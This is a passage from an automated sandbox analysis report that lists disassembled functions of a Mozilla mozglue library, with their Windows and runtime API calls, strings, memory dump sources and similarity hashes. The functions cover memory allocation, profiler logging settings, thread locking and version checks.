Part of subcall function 6C50F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C50F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C50ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C50EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C50EDCC
CreateFileW.KERNEL32 ref: 6C50EE08
free.MOZGLUE(00000000), ref: 6C50EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C50EE32

Part of subcall function 6C50EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C50EBB5
Part of subcall function 6C50EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C53D7F3), ref: 6C50EBC3
Part of subcall function 6C50EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C53D7F3), ref: 6C50EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C50EDC1

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 356d06f7a7ee0fd8cebd92382dc572061158f588f2a64f57db22b0e8ee7652f5
Instruction ID: 1260438f8bb7e17a34897b8f58a277856a224bc8af4b9eced12241f5625be5b6
Opcode Fuzzy Hash: 356d06f7a7ee0fd8cebd92382dc572061158f588f2a64f57db22b0e8ee7652f5
Instruction Fuzzy Hash: 3951C371E05218CBDB10DF68CC446EEB7B1EF59318F54892DD895AB740E7B06D88C7A2

Function 6C57A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C57A565

Part of subcall function 6C57A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C57A4BE
Part of subcall function 6C57A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C57A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C57A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C57A6B6

Strings

z, xrefs: 6C57A6AE
0, xrefs: 6C57A5FB

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 13186ce3cdf2f9cd2b1f9dc57a81c7bf45880c5ba84f8f5638c98decbc2a7093
Instruction ID: 63965aad8bfe5e927c5366cb16cc59a3b21bd67da55f70bda47387ffa13fe86b
Opcode Fuzzy Hash: 13186ce3cdf2f9cd2b1f9dc57a81c7bf45880c5ba84f8f5638c98decbc2a7093
Instruction Fuzzy Hash: 5E413A71909745DFC351DF28C880A8BBBE5BFC9354F409A2EF49987650EB30D989CB92

Function 6C549420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
__Init_thread_footer.LIBCMT ref: 6C54949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C54946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C549459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C54947D

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 8126d3093a1ea19dc499f99059a783cff93006bd786b6be64a003fc082f1a7cb
Instruction ID: bd3e651e81580b27a10e6b49af85d8b2b9564ddb16b86b725e44cb24a9f6c881
Opcode Fuzzy Hash: 8126d3093a1ea19dc499f99059a783cff93006bd786b6be64a003fc082f1a7cb
Instruction Fuzzy Hash: 0C01D870A02121C7EB009B6CDD16A4E3379AB4B368F155637D90AC6B51E731E8648A5F

Function 6C550F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C550F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C550F88
GetCurrentThreadId.KERNEL32 ref: 6C550FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C551067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5510A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C55114B

Part of subcall function 6C548AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C561563), ref: 6C548BD5

free.MOZGLUE(?), ref: 6C551174
free.MOZGLUE(?), ref: 6C551186

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 5560eb88d33674b05496371cbef160abe64def2b134eebf94bcbc38d37d4acb1
Instruction ID: cc1f2cc8b4bb36555e0ba0d95b6cfa5df0cebaf517b43c54cebed92e57b0f8b6
Opcode Fuzzy Hash: 5560eb88d33674b05496371cbef160abe64def2b134eebf94bcbc38d37d4acb1
Instruction Fuzzy Hash: EA61AC75A04340DBDB10DF25CC807AAB7F5AFC5308F45991EE8895B611EB71E899CB82

Function 6C50B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B6AC

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C50B61E), ref: 6C50B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B79A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: dfb20f1ee3c5e9d34c57e8c69ead0898ffcdd5ae6e3cc747ed05259345a8f1eb
Instruction ID: 555a55ed0534ddb57f3171004a6655e59d40576fa71beca27933ec451a53a376
Opcode Fuzzy Hash: dfb20f1ee3c5e9d34c57e8c69ead0898ffcdd5ae6e3cc747ed05259345a8f1eb
Instruction Fuzzy Hash: 4741B6B2E001159FDB14EF68DC805AEB7B5FF84324F250669E825E7790E731AD0487E1

Function 6C50EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C585104), ref: 6C50EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C50EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C50EFEC
free.MOZGLUE(?), ref: 6C50F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C50F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C50F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F065
moz_xmalloc.MOZGLUE ref: 6C50F072

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2a3094e29ac735879d97aeb03402c162de2fdd84fa150ca3a4ae28c5fa952e6f
Instruction ID: 286cd5fe5caa5f1c0684c7bedc692b288293f6f71ce79e0e713dfc8d676508e0
Opcode Fuzzy Hash: 2a3094e29ac735879d97aeb03402c162de2fdd84fa150ca3a4ae28c5fa952e6f
Instruction Fuzzy Hash: 4741E2B1B002059FDB08CF68DC909BE73A9EF84324B240628E816DB794EB71ED0587E1

Function 6C57B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C57B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C57B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C57B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C57B5F4
__Init_thread_footer.LIBCMT ref: 6C57B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C57B61F
std::_Facet_Register.LIBCPMT ref: 6C57B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C57B655

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 8cad035a4787a051e6e0145786af7204163d4c3c6d7c471e9e67a559799a5fd9
Instruction ID: 0b0893b603e3b5d3a6590cd4485b4047fcc0a45b5e160fd540bfbe1850736017
Opcode Fuzzy Hash: 8cad035a4787a051e6e0145786af7204163d4c3c6d7c471e9e67a559799a5fd9
Instruction Fuzzy Hash: F131A471B02125CBCF10EFA9CC549AEB7B5FF8A324B160515DA0697741EB30AC46CB95

Function 6C546590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C53FA80: GetCurrentThreadId.KERNEL32 ref: 6C53FA8D
Part of subcall function 6C53FA80: AcquireSRWLockExclusive.KERNEL32(6C58F448), ref: 6C53FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C546727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5467C8

Part of subcall function 6C554290: memcpy.VCRUNTIME140(?,?,6C562003,6C560AD9,?,6C560AD9,00000000,?,6C560AD9,?,00000004,?,6C561A62,?,6C562003,?), ref: 6C5542C4

Strings

vXl, xrefs: 6C54696C
data, xrefs: 6C546593

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vXl
API String ID: 511789754-1692619548
Opcode ID: fc0f51c4d45dbf613268231508a3a5cd6cc4f1083ef96da92d592df74a55ea3f
Instruction ID: 91c06adddcdb965b63547b8632c3ba12dc410a98ddcc9203b49d13eefd2db60f
Opcode Fuzzy Hash: fc0f51c4d45dbf613268231508a3a5cd6cc4f1083ef96da92d592df74a55ea3f
Instruction Fuzzy Hash: 31D1AC75A09340CFD724DF25CC51B9EB7E5AFC5308F50892EE48997B91EB30A849CB92

Function 6C53D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C50EB57,?,?,?,?,?,?,?,?,?), ref: 6C53D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C50EB57,?), ref: 6C53D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C50EB57,?), ref: 6C53D673
free.MOZGLUE(?), ref: 6C53D888

Strings

WPl, xrefs: 6C53D5D9, 6C53D63F
|Enabled, xrefs: 6C53D81E

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WPl$|Enabled
API String ID: 4142949111-1694255673
Opcode ID: 12e97fb4565ad64b17d1d22f1a078ea23a4f4e4e015502dbf8fada9c58dd34a5
Instruction ID: 297a1a4cbcb740e26a4f4664c0cdafd2ab2f427ac9fdf2f2cdbf86774f3e4f94
Opcode Fuzzy Hash: 12e97fb4565ad64b17d1d22f1a078ea23a4f4e4e015502dbf8fada9c58dd34a5
Instruction Fuzzy Hash: D4A114B0A05324CFDB11CF69CC807AEBBF1AF4A318F14955CD899AB741E731A945CBA1

Function 6C519830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C567ABE), ref: 6C51985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C567ABE), ref: 6C5198A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C519909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C519918
free.MOZGLUE(?), ref: 6C519975

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: afccb19a27aa46d4a1955e428d3ddc642e359aa19eacddd92f0d893acc30bd0f
Instruction ID: 38901a889eebfd885664416350199e6ec6a8558951bdc653931c74d2bf2f5b37
Opcode Fuzzy Hash: afccb19a27aa46d4a1955e428d3ddc642e359aa19eacddd92f0d893acc30bd0f
Instruction Fuzzy Hash: DF718B746087058FD725CF28C884956B7F1FF8A324B644AADD85A8BFA0D731F845CB51

Function 6C51B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE,?,?,6C54DC2C), ref: 6C51B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE,?,?,6C54DC2C), ref: 6C51B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE), ref: 6C51B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE,?,?,6C54DC2C), ref: 6C51B896

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: b3f298a7bb5ab75b599486fda09da4398a91a807005d05a65eb4e4c388439edd
Instruction ID: 8e6553e78e90a9d86a7e7e8d8d99dccf4d0cffe1a679ca9e0efe82d89335763a
Opcode Fuzzy Hash: b3f298a7bb5ab75b599486fda09da4398a91a807005d05a65eb4e4c388439edd
Instruction Fuzzy Hash: D651BEB47052009FDB14EF18C888E2AB7F5FF89718B5A895DE98697751C730EC02CB80

Function 6C551D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C551D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C551BE3,?,?,6C551D96,00000000), ref: 6C551D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C551BE3,?,?,6C551D96,00000000), ref: 6C551D4C
GetCurrentThreadId.KERNEL32 ref: 6C551DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C551DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C551DDA

Part of subcall function 6C551EF0: GetCurrentThreadId.KERNEL32 ref: 6C551F03
Part of subcall function 6C551EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C551DF2,00000000,00000000), ref: 6C551F0C
Part of subcall function 6C551EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C551F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C551DF4

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b0a02a09aed0b530eb03b5b26c42e8af46634e1e15794905484c9b32d7d98794
Instruction ID: eb6d9b90aeeddd56b6075d0cb38c2095faa78abfaa5dd724c33a6a8f5e45b4c3
Opcode Fuzzy Hash: b0a02a09aed0b530eb03b5b26c42e8af46634e1e15794905484c9b32d7d98794
Instruction Fuzzy Hash: 58417B75201710AFCB10DF24C888B56BBF9FB89314F51442EE95A87B41DB71F854CB95

Function 6C5484E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5484F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5485AC

Part of subcall function 6C547670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54767F
Part of subcall function 6C547670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C547693
Part of subcall function 6C547670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5476A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5485B2

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 2afca826284227c9935ae161372bb6f4d6f6b0c53cdc158622d4a23f17e19354
Instruction ID: 61596598f3dbabb25eb76be2af1b4bf1f30e1e03cfab76424d9df02972938716
Opcode Fuzzy Hash: 2afca826284227c9935ae161372bb6f4d6f6b0c53cdc158622d4a23f17e19354
Instruction Fuzzy Hash: 9E21D1703016019FDB14DB28DC88A9AB7B5AF8530CF15892DE55BC3B42EB31F948CB86

Function 6C511640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C511699
VerSetConditionMask.NTDLL ref: 6C5116CB
VerSetConditionMask.NTDLL ref: 6C5116D7
VerSetConditionMask.NTDLL ref: 6C5116DE
VerSetConditionMask.NTDLL ref: 6C5116E5
VerSetConditionMask.NTDLL ref: 6C5116EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5116F9

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
